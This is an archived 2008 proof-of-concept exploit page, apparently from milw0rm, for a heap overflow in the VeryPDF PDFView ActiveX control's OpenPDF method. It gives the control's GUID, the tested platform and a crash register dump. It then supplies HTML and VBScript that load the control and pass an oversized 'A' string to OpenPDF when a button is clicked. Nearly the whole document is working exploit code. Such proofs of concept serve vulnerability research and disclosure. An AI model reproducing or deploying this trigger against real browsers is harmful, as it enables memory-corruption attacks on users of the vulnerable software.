VeryPDF PDFView - OCX ActiveX OpenPDF Heap Overflow (PoC)

<!--
VeryPDF PDFView OCX ActiveX OpenPDF Heap Overflow

Discovered & Written By:
r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)

Advisory: http://www.bmgsec.com.au/advisory/39/
---------------------------------------------------
Tested on: WinXP Pro SP2

Version: 2.0.0.1
GUID: {433268D7-2CD4-43E6-AA24-2188672E7252}

RegKey Safe for Script: True
RegKey Safe for Init: True

EAX 0003C910 ASCII "AAAAAAAAA""
ECX 000301D0
EDX 00000040
EBX 41414141
ESP 0013B8D8
EBP 0013BAF4
ESI 0003C908 ASCII "AAAAAAAAAAAAAAAAA""
EDI 41414141
EIP 7C91B3FB ntdll.7C91B3FB
-->

<object classid='clsid:433268D7-2CD4-43E6-AA24-2188672E7252' id='target'></object>

<script language='vbscript'>
 Sub Boom
    buff = String(1006, "A")
    target.OpenPDF buff, 1, 1

 End Sub
</script>
<input type=button onclick=Boom() value='Boom?'>

# milw0rm.com [2008-11-15]